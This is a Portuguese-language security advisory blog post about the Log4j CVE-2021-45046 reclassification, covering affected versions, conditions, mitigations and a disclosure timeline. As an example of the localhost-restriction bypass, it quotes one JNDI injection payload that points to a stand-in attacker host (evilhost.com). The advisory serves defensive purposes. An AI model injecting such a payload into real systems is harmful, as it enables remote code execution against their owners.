Vulnerabilidade do Log4j 2.15 CVE-2021-45046 é reclassificada como execução arbitrária de código de severidade crítica

Nota do editor (28 de dez. de 2021, às 19h35 GMT): A equipe do Log4j lançou uma nova atualização de segurança que identificou uma vulnerabilidade de execução remota de código na versão 2.17.0, registrada como CVE-2021-44832. Recomendamos atualizar para a versão mais recente, que no momento é a 2.17.1. Saiba mais aqui.

Nota do editor (18 de dez. de 2021, às 18h55 GMT): A situação do Log4j está mudando rapidamente, e estamos atualizando nossos blogs à medida que novas informações ficam disponíveis. Recomendamos atualizar para a versão 2.17.0 ou posterior. Essa versão inclui correções de segurança para duas vulnerabilidades de execução remota de código, corrigidas nas versões 2.15.0 (CVE-2021-44228) e 2.16.0 (CVE-2021-45046), além da vulnerabilidade de DoS mais recente, corrigida na versão 2.17.0 (CVE-2021-45105). Saiba mais aqui.

Foi descoberto que a versão 2.15.0 do Log4j ainda está suscetível a um ataque de execução arbitrária de código em determinadas circunstâncias. Atualize para a versão 2.16.0 ou posterior para proteger suas aplicações contra CVE-2021-44228 e CVE-2021-45046.

A vulnerabilidade mais recente divulgada no Log4j 2 (CVE-2021-45046), inicialmente classificada como uma vulnerabilidade de negação de serviço de baixa severidade, com pontuação CVSS de 3,7, foi reclassificada como uma vulnerabilidade de execução arbitrária de código de alta severidade, com pontuação CVSS de 9,0. Além disso, isso significa que a versão 2.15.0 do Log4j, que antes era considerada protegida contra execução arbitrária de código, agora pode ser explorada em determinadas condições.

Um agente malicioso consegue contornar a mitigação implementada na versão 2.15.0, que limita as consultas JNDI apenas ao localhost: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

Recomendamos atualizar para a versão 2.16.0, que desativa completamente as consultas JNDI por padrão. Se não for possível atualizar, você pode mitigar esse problema em versões anteriores removendo a classe JndiLookup do classpath (exemplo: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

Minha aplicação foi afetada pela vulnerabilidade reclassificada?

Sua aplicação está vulnerável se você estiver usando uma das versões afetadas do pacote Log4j (da 2.0-beta9 à 2.15.0, exceto a 2.12.2) e atender a pelo menos uma das seguintes condições:

1. A configuração de logging habilita explicitamente as consultas — por padrão (se estiver usando uma versão anterior à 2.15.0) ou manualmente usando %m{lookups}, pois formatMsgNoLookups vem ativado por padrão a partir da versão 2.15.0.

2. Usa um Pattern Layout diferente do padrão com Context Lookup, no qual invasores podem controlar os dados de entrada por meio do Thread Context Map (MDC),

3. Usa a função Logger.printf("%s", userInput), na qual invasores podem controlar a variável userInput.

OBSERVAÇÃO IMPORTANTE: Você precisará auditar tanto o código-fonte quanto as instâncias em tempo de execução para confirmar que não atende a nenhuma das condições acima. Essa tarefa não é simples. Se tiver dúvidas, considere que sua aplicação pode estar vulnerável.

O que você precisa fazer agora

AJA AGORA! Atualize imediatamente para a versão 2.16.0 ou superior para mitigar esse problema. Essa é a versão mais segura disponível no momento e corrige as duas vulnerabilidades do Log4j divulgadas recentemente (CVE-2021-44228 e CVE-2021-45046).

Confira nossa página de recursos sobre Log4j para ver os blogs e vídeos mais recentes, além deste guia prático de uma página para corrigir o Log4Shell.

Linha do tempo das vulnerabilidades do Log4j (CVE-2021-44228 e CVE-2021-45046)

• 18 de julho de 2013 - O código que introduz as consultas JNDI e a vulnerabilidade é enviado ao repositório

• 24 de novembro de 2021 - A equipe de pesquisa de segurança da Alibaba faz uma divulgação privada à Apache

• 29 de novembro - A Apache começa a trabalhar em uma nova versão (2.15.0) com uma correção de segurança

• 1º de dezembro - As primeiras tentativas rudimentares de exploração são observadas em circulação

• 5 de dezembro- Todas as correções são integradas ao branch master

• 9 de dezembro- Um usuário do GitHub levanta a suspeita de que a correção está relacionada a uma vulnerabilidade de segurança

• 9 de dezembro - Um usuário abre uma issue no GitHub no repositório google/tsunami-security-scanner-plugins, identificando a vulnerabilidade de RCE no Log4j

• 9 de dezembro- A issue vaza informalmente em um tuíte do usuário p0rz9.

• 9 de dezembro - A PoC é publicada no GitHub

• 10 de dezembro - A issue é divulgada “oficialmente” e recebe um CVE (ainda não publicado no MITRE). A versão corrigida 2.15.0 é lançada.

• 10 de dezembro - O CVE é atualizado no MITRE e atribuído (CVE-2021-44228)

• 10 de dezembro - Severidade crítica é adicionada ao Snyk SCA (CVE-2021-44228)

• 13 de dezembro - Aviso de vulnerabilidade de severidade média para a versão 1.x (CVE-2021-4104)

• 14 de dezembro - Vulnerabilidade de DoS de severidade média descoberta na versão 2.15 (CVE-2021-45046)

• 17 de dezembro - CVE-2021-45046 é reclassificada como crítica e categorizada novamente como execução arbitrária de código